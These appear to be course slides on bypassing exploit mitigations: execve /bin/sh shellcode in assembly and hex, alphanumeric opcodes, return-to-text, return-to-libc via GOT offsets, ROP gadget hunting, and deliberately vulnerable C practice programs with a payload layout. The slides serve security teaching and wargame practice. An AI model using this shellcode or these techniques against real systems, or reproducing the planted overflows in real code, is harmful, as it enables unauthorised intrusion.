

Secure Programming Bypass Mitigation

Overview

- Customize shellcode
- Bypass DEP & ASLR
 - Return to libc / text
 - Return Oriented Programming

Write your own shellcode

- `nasm -f bin -o sc.bin sc.asm`

- `xxd -i sc.bin`

```
BITS 32
global _start

_start:
xor    eax,eax
push  eax
push  0x68732f2f
push  0x6e69622f
mov   ebx,esp
push  eax
push  ebx
mov   ecx,esp
mov   al, 0xb
int  0x80
```

```
cychao@CatKali:~/ctf/nctu/slide$ nasm -f bin -o binsh.bin binsh.s && xxd -i binsh.bin
unsigned char binsh_bin[] = {
    0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69,
    0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80
};
unsigned int binsh_bin_len = 23; _
```

- Ref: <http://www.vividmachines.com/shellcode/shellcode.html>

Alphanumeric shellcode

- Shellcode with 0-9 a-z A-Z
 - use printable opcode
 - xor encode/decode

21		AND [m16/32],r16/32	41	A	INC CX/ECX	61	a	POPAM
22	*	AND r8,[m8]	42	B	INC DX/EDX	62	b	BOUND
23	#	AND r16/32,[m16/32]	43	C	INC BX/EBX	63	c	ARPL
24	\$	AND AL,i8	44	D	INC SP/ESP	64	d	PS: PF
25	%	AND AX/EAX,i16/32	45	E	INC BP/EBP	65	e	GS: PF
26	&	ES: PREFIX	46	F	INC SI/ESI	66	f	OPER
27	'	DAA	47	G	INC DI/EDI	67	g	ADDR
28	(SUB [m8],r8	48	H	DEC AX/EAX	68	h	PUSH
29)	SUB [m16/32],r16/32	49	I	DEC CX/ECX	66 68	fh	PUSH
2A	*	SUB r8,[m8]	4A	J	DEC DX/EDX	69	i	IMUL
2B	+	SUB r16/32,[m16/32]	4B	K	DEC BX/EBX	66 69	fi	IMUL
2C	,	SUB AL,i8	4C	L	DEC SP/ESP	6A	j	PUSH
2D	-	SUB AX/EAX,i16/32	4D	M	DEC BP/EBP	6B	k	IMUL
2E	.	CS: PREFIX	4E	N	DEC SI/ESI	66 6B	fk	IMUL
2F	/	DAS	4F	O	DEC DI/EDI	6C	l	INSB
30	0	XOR [m8],r8	50	P	PUSH AX/EAX	6D	m	INSW/I
31	1	XOR [m16/32],r16/32	51	Q	PUSH CX/ECX	6E	n	OUTSB
32	2	XOR r8,[m8]	52	R	PUSH DX/EDX	6F	o	OUTSW
33	3	XOR r16/32,[m16/32]	53	S	PUSH BX/EBX	70	p	JO o8
34	4	XOR AL,i8	54	T	PUSH SP/ESP	71	q	JNO o8
35	5	XOR AX/EAX,i16/32	55	U	PUSH BP/EBP	72	r	JB o8
36	6	SS: PREFIX	56	V	PUSH SI/ESI	73	s	JAE o8
37	7	AAA	57	W	PUSH DI/EDI	74	t	JE o8
38	8	CMP [m8],r8	58	X	POP AX/EAX	75	u	JNE o8
39	9	CMP [m16/32],r16/32	59	Y	POP CX/ECX	76	v	JBE o8
			5A	Z	POP BX/EBX	77	w	JA o8

Bypass DEP + ASLR

- Return to text
- Return to libc
- ROP
- Blind ROP

Return to a function call

ffff5000	char a
ffff5004	ebp
ffff5008	ret
ffff500c	arg1
ffff5010	????
ffff5014	????

ffff5000	AAAA
ffff5004	AAAA
ffff5008	addr of func
ffff500c	after lib call
ffff5010	ptr to “/bin/sh”
ffff5014	????

Practice - return to text

- gcc -fno-stack-protector -m32

```
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
char *binsh = "/bin/sh";
void foo (char *bar)
{
    char c[12];

    memcpy(c, bar, strlen(bar));
}

int main (int argc, char **argv)
{
    char buf[4096];
    fprintf(stderr, "Function: system's address is : 0x%x\n", &system);
    fgets(buf, 4096, stdin);
    foo(buf);
}
```

Sol.

- Function: system's address is : 0x8048430
- `objdump -D foo_4 | grep bin`
- Input = "a"x?? + [&system] + "aaaa" + [binsh]

Return to libc

- 程式沒有用到 `system`?
- 沒辦法利用 `text` 段 `call system()`
- 同版本 `libc` 的 `offset` 會是固定的
- 取得任意 `libc` 的函式位置算出與 `system` 的 `offset`

Global Offset Tables

- Get saved function address from GOT
- `objdump -R ./a.out`

```
cychao@ubuntu:~/bof$ objdump -R foo_1
```

```
foo_1:      file format elf32-i386
```

DYNAMIC RELOCATION RECORDS

OFFSET	TYPE	VALUE
08049ffc	R_386_GLOB_DAT	__gmon_start__
0804a028	R_386_COPY	stdin
0804a00c	R_386_JUMP_SLOT	printf
0804a010	R_386_JUMP_SLOT	fgets
0804a014	R_386_JUMP_SLOT	strcpy
0804a018	R_386_JUMP_SLOT	__gmon_start__
0804a01c	R_386_JUMP_SLOT	__libc_start_main

計算 offset

```
cychao@ubuntu:~/bof$ objdump -d /lib32/libc.so.6 | grep "fprintf>:"
00043100 <_IO_vfprintf>:
0004cb80 <fprintf>:
cychao@ubuntu:~/bof$ objdump -d /lib32/libc.so.6 | grep "system>:"
0003fc40 <__libc_system>:
cychao@ubuntu:~/bof$ objdump -d /lib32/libc.so.6 | grep "execve>:"
000b5300 <execve>:
000b5350 <fexecve>:
```

- 通常會先算出 libc 的 base，接下來要跳到哪都行

```
f7602000-f77a8000 -xp 00000000 fc:00 4587531 /lib32/libc-2.19.so
f77a8000-f77aa000 r--p 001a5000 fc:00 4587531 /lib32/libc-2.19.so
f77aa000-f77ab000 rw-p 001a7000 fc:00 4587531 /lib32/libc-2.19.so
```

Practice - Return to Libc

- gcc -fno-stack-protector -m32

```
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
char *binsh = "/bin/sh";
void foo (char *bar)
{
    char c[12];

    memcpy(c, bar, strlen(bar));
}

int main (int argc, char **argv)
{
    char buf[4096];
    int * ptr = 0x0804a01c;
    fprintf(stderr, "Function: libc_start_main's address is : 0x%x\n", *ptr);
    fgets(buf, 4096, stdin);
    foo(buf);
}
```

gcc -static?

- 程式重頭到尾都沒有用到 system
- 又編成static?
- 只好自己寫一個system().

Return Oriented Programming

- Find gadgets
- Assemble gadgets
- Smashing the Stack
- Ret!

ROP tool

- ROPgadget
- Mona
- IDA Pro + plugin
-
- objdump + grep
 - `objdump -d ./a.out | grep -B 3 ret | grep -A 3 eax`

Find Gadgets 1/2

- Control Register
 - 找到可以控制 `eax` , `ebx` , `ecx` , `esp` 的 gadgets

```
--  
--  
804f7b2:      89 d8      mov    %ebx,%eax  
804f7b4:      5b        pop   %ebx  
804f7b5:      c3        ret  
--  
--  
--  
80bb576:      89 cc      mov    %ecx,%esp  
80bb578:      c3        ret  
--
```


Find Gadgets 2/2

- Get/Set String (/bin/sh) address
 - 想辦法定位可控的 memory address
 - 在該處塞 “/bin/sh”
- System Call

```
cycho@ubuntu:~/bof$ objdump -d foo_6 | grep -B 3 ret | grep -A 3 "int "
```

806f0e0:	cd 80	int	\$0x80
806f0e2:	c3	ret	

Assemble Gadgets

- 把找到的gadget組合起來
 - 注意stack位置, 建議先找個add esp的gadget
 - 通常stack可控, 把值放進stack, 再pop拿出資料
- Wargame 0-3 ROP
 - 除了push外, 都是libc裡找到的到的 gadgets

Smashing the Stack

- 把所有gadget跟所需的argument數量準備好
- 全部塞進 Stack !

Practice - ROP

- gcc -fno-stack-protector -m32 -static

```
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
char *binsh = "/bin/sh";
void foo (char *bar)
{
    char c[12];

    memcpy(c, bar, 2048);
}

int main (int argc, char **argv)
{
    char buf[4096];
    fprintf(stderr, "ROP practice\n" );
    fgets(buf, 4096, stdin);
    foo(buf);
}
```